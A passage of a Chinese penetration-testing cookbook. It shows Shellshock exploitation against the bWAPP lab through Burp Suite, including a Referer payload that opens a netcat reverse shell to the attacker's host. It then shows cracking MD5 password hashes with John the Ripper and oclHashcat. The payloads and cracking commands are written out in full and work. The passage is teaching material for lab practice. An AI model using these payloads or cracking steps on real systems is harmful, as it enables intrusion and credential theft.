  6. 現(xiàn)在,讓 BurpSuite 攔截和重新加載shellshock.php

  7. 在 BurpSuite 中,點(diǎn)擊Forward直到得到了/bWAPP/cgi-bin/ shellshock.sh請(qǐng)求,之后將Referer替換為:

    () { :;}; echo "Vulnerable:"
    
  8. 再次點(diǎn)擊Forward,在.ttf文件的請(qǐng)求中,我們應(yīng)該能得到shellshcok.sh的響應(yīng),像這樣:

    現(xiàn)在響應(yīng)多了一個(gè)協(xié)議頭參數(shù),叫做Vulnerable。這是因?yàn)樗鼘?code>echo命令的輸出集成到 HTTP 協(xié)議頭中,所以我們可以進(jìn)一步利用它。

  9. 現(xiàn)在使用下列命令重復(fù)這個(gè)過(guò)程:

    () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
    
  10. 能夠在遠(yuǎn)程服務(wù)器上執(zhí)行命令,對(duì)于滲透測(cè)試來(lái)說(shuō)是個(gè)巨大的優(yōu)勢(shì),下一步自然是獲得遠(yuǎn)程 shell。在 Kali 中打開(kāi)終端,監(jiān)聽(tīng)網(wǎng)絡(luò)端口,像這樣:

    nc -vlp 12345
    
  11. 現(xiàn)在訪(fǎng)問(wèn) BurpSuite 的代理歷史,選擇任何shellshock.sh的請(qǐng)求,右擊它并發(fā)送到 Repeater,像這樣:

  12. 在 Repeater 中,修改 Referer 的值為:

    () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")
    

    這里,192.168.56.1 是我們 Kali 主機(jī)的地址。

  13. 點(diǎn)擊Go

  14. 如果我們檢查我們的終端,我們可以看到連接已建立,執(zhí)行一些命令來(lái)檢查我們是否得到了遠(yuǎn)程 shell。

工作原理

在第一步中,我們發(fā)現(xiàn)了 shell 腳本的調(diào)用。因?yàn)樗梢员?shell 解釋器運(yùn)行,它可能是漏洞版本的 bash。為了驗(yàn)證,我們執(zhí)行了下列測(cè)試:

() { :;}; echo "Vulnerable:" 

第一個(gè)部分() { :;};是個(gè)空函數(shù),因?yàn)?bash 可以將函數(shù)儲(chǔ)存為環(huán)境變量,這個(gè)是漏洞的核心。在函數(shù)結(jié)束之后,解析器會(huì)繼續(xù)解釋?zhuān)ú?zhí)行)命令,這允許我們執(zhí)行第二個(gè)部分echo "Vulnerable:,這是簡(jiǎn)單返回輸入的命令。

Web 服務(wù)器中存在漏洞,因?yàn)?CGI 事先將請(qǐng)求的所有部分映射為環(huán)境變量,所以這個(gè)攻擊通過(guò)User-Agent或者Accept-Language也能工作。

一旦我們知道了服務(wù)器存在漏洞,我們鍵入測(cè)試命令ifconfig并建立反向 shell`。

反向 shell 是一種遠(yuǎn)程 shell,它的特點(diǎn)是由受害者主機(jī)初始化,攻擊者監(jiān)聽(tīng)連接,而不是服務(wù)器在綁定連接中等待客戶(hù)端的連接。

7.8 使用 John the Ripper 和字典來(lái)破解密碼哈希

在上一個(gè)秘籍,以及第六章中,我們從數(shù)據(jù)庫(kù)中提取了密碼哈希。在執(zhí)行滲透測(cè)試的時(shí)候,有時(shí)候這是唯一的用于發(fā)現(xiàn)密碼的方式。為了發(fā)現(xiàn)真實(shí)的密碼,我們需要破譯它們。由于哈希由不可逆的函數(shù)生成,我們沒(méi)有辦法直接解密密碼。所以使用慢速的方法,例如暴力破解和字典攻擊就很有必要。

這個(gè)秘籍中,我們會(huì)使用 John the Ripper(JTR 或 John),最流行的密碼破解器,從第六章“逐步執(zhí)行基本的 SQL注入”秘籍中提取的哈希中恢復(fù)密碼。

操作步驟

  1. 雖然 JTR 對(duì)接受的輸入非常靈活,為了防止錯(cuò)誤解釋?zhuān)覀兪紫刃枰蕴囟ǜ袷皆O(shè)置用戶(hù)名和密碼哈希。創(chuàng)建叫做hashes_6_7.txt的文本文件,每行包含一個(gè)名稱(chēng)和一個(gè)哈希,以冒號(hào)分隔(username:hash),像這樣:

  2. 一旦我們擁有了這個(gè)文件,我們可以打開(kāi)終端并執(zhí)行下列命令:

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt
    

    我們使用 Kali 預(yù)置的單詞列表之一。我們可以看到單詞列表中六個(gè)密碼發(fā)現(xiàn)了五個(gè),我們也能發(fā)現(xiàn),John 每秒能比較 10,336,000 次(10,336 KC/s)。

  3. John 也有選項(xiàng)來(lái)應(yīng)用修改器規(guī)則 -- 添加前后綴,修改大小寫(xiě),以及在每個(gè)密碼上使用 leetspeak。讓我們?cè)谌匀晃雌平獾拿艽a上嘗試它們:

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules
    

    我們可以看到這個(gè)規(guī)則生效了,我們得到了最后一個(gè)密碼。

工作原理

John(以及任何離線(xiàn)密碼破解器)的工作方式是計(jì)算列表(或所生成的)單詞的哈希,并將它們與需要被破解的哈希對(duì)比,當(dāng)存在匹配時(shí),它就假設(shè)密碼找到了。

第一個(gè)命令使用--wordlist選項(xiàng)告訴 John 要使用什么單詞。如果忽略了它,它會(huì)生成自己的列表來(lái)執(zhí)行爆破攻擊。--format選項(xiàng)告訴我們要使用什么算法來(lái)生成哈希,如果這個(gè)選項(xiàng)被忽略,John 會(huì)猜測(cè)它,通常帶有不錯(cuò)的結(jié)果。最后,我們將包含想要破解的哈希的文件傳入。

  1. 我們可以通過(guò)使用--rules選項(xiàng)來(lái)增加找到密碼的機(jī)會(huì),因?yàn)樵趪L試創(chuàng)建更強(qiáng)的密碼來(lái)破解的時(shí)候,它會(huì)使用人們對(duì)單詞所做的常用修改。例如,對(duì)于password,John也會(huì)嘗試下面的東西:
  • Password
  • PASSWORD
  • password123
  • Pa$$w0rd

7.9 使用 oclHashcat/cudaHashcat 爆破密碼哈希

最近,顯卡的發(fā)展取得了巨大突破,這種芯片中含有成百上千個(gè)處理器,它們都并行工作。這里,當(dāng)應(yīng)用在密碼破解上是,這意味著,如果單個(gè)處理每秒可以計(jì)算一萬(wàn)個(gè)哈希,一個(gè)帶有上千內(nèi)核的 GPU 就能夠計(jì)算一千萬(wàn)個(gè)。這可以將破解時(shí)間降至一千分之一。

現(xiàn)在我們使用 Hashcat 的 GPU 版本來(lái)爆破密碼。如果你在 N 卡的電腦上安裝的 Kali,你需要 cudeHashcat。如果它安裝在 A 卡的電腦上,則需要 oclHashcat。如果你在虛擬機(jī)上安裝 kali,GPU 破解可能不工作,但是你始終可以在你的主機(jī)上安裝它,Windows 和 Linux 上都有它的版本。

這個(gè)秘籍中,我們會(huì)使用 oclHashcat,它和 cudaHashcat 的命令沒(méi)有區(qū)別,雖然 A 卡對(duì)于密碼破解更加高效。

準(zhǔn)備

我們需要確保你正確安裝了顯卡驅(qū)動(dòng),oclHashcat 也兼容它們,所以你需要做這些事情:

  1. 單獨(dú)運(yùn)行 oclHashcat,如果出現(xiàn)問(wèn)題它會(huì)告訴你。

    oclhashcat 
    
  2. 測(cè)試它在跑分模式中支持的每種算法的哈希率。

    oclhashcat --benchmark 
    
  3. 取決于你的安裝,oclHahcat 可能需要在你的特定顯卡上強(qiáng)行工作:

    oclhashcat --benchmark --force
    

我們會(huì)使用上一個(gè)秘籍的相同哈希文件。

Kali 默認(rèn)安裝的 oclHashcat 上有一些問(wèn)題,所以如果你在運(yùn)行 oclHashcat 的時(shí)候出現(xiàn)了問(wèn)題,你始終可以從官網(wǎng)上下載最新版本,并從你解壓的地方直接運(yùn)行(http://hashcat.net/ oclhashcat/)。

操作步驟

  1. 我們首先破解單個(gè)哈希,讓我們?cè)囋?code>admin的哈希:

    oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3
    

    你可以看到,我們能夠直接從命令行中設(shè)置哈希,它會(huì)在一秒之內(nèi)破解出來(lái)。

  2. 現(xiàn)在,為了破解整個(gè)文件,我們需要去掉用戶(hù)名,只保留哈希,像這樣:

    我們創(chuàng)建了只包含哈希的新文件。

  3. 為了破解文件中的哈希,我們只需要在上一條命令中將哈希替換為文件名稱(chēng)。

    oclhashcat -m 0 -a 3 hashes_only_6_7.txt
    

    你可以看到,它在三分鐘之內(nèi)涵蓋了一到七個(gè)字符的所有組合(每秒破解 6.885 億個(gè)哈希)。并且它需要花費(fèi)多于兩個(gè)小時(shí)來(lái)測(cè)試八個(gè)字符的所有組合。這對(duì)于爆破來(lái)說(shuō)十分有效。

工作原理

在這個(gè)秘籍中,我們用于執(zhí)行oclHahcat的參數(shù)定義了要使用的哈希算法:-m 0告訴程序使用 MD5 來(lái)計(jì)算所生成單詞的哈希,以及攻擊類(lèi)型,-a 3的意思是我們打算使用純爆破攻擊,并嘗試所有可能的字符組合,直到發(fā)現(xiàn)了密碼。最后,我們?cè)诘谝环N情況中添加了我們打算破解的哈希,第二種情況中我們添加了包含哈希集合的文件。

oclHahcat 也可以使用字典文件來(lái)執(zhí)行混合攻擊(爆破加上字典)來(lái)定義要測(cè)試哪個(gè)字符集,并將結(jié)果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot)。他也可以對(duì)單詞應(yīng)用規(guī)則,并使用統(tǒng)計(jì)模型(馬爾科夫鏈)來(lái)增加破解效率。使用--help命令來(lái)查看所有選項(xiàng),像這樣:

oclhashcat --help
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀(guān)點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,967評(píng)論 6 531
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,273評(píng)論 3 415
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 175,870評(píng)論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 62,742評(píng)論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,527評(píng)論 6 407
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,010評(píng)論 1 322
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,108評(píng)論 3 440
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 42,250評(píng)論 0 288
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,769評(píng)論 1 333
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,656評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,853評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,371評(píng)論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,103評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 34,472評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 35,717評(píng)論 1 281
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,487評(píng)論 3 390
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,815評(píng)論 2 372

推薦閱讀更多精彩內(nèi)容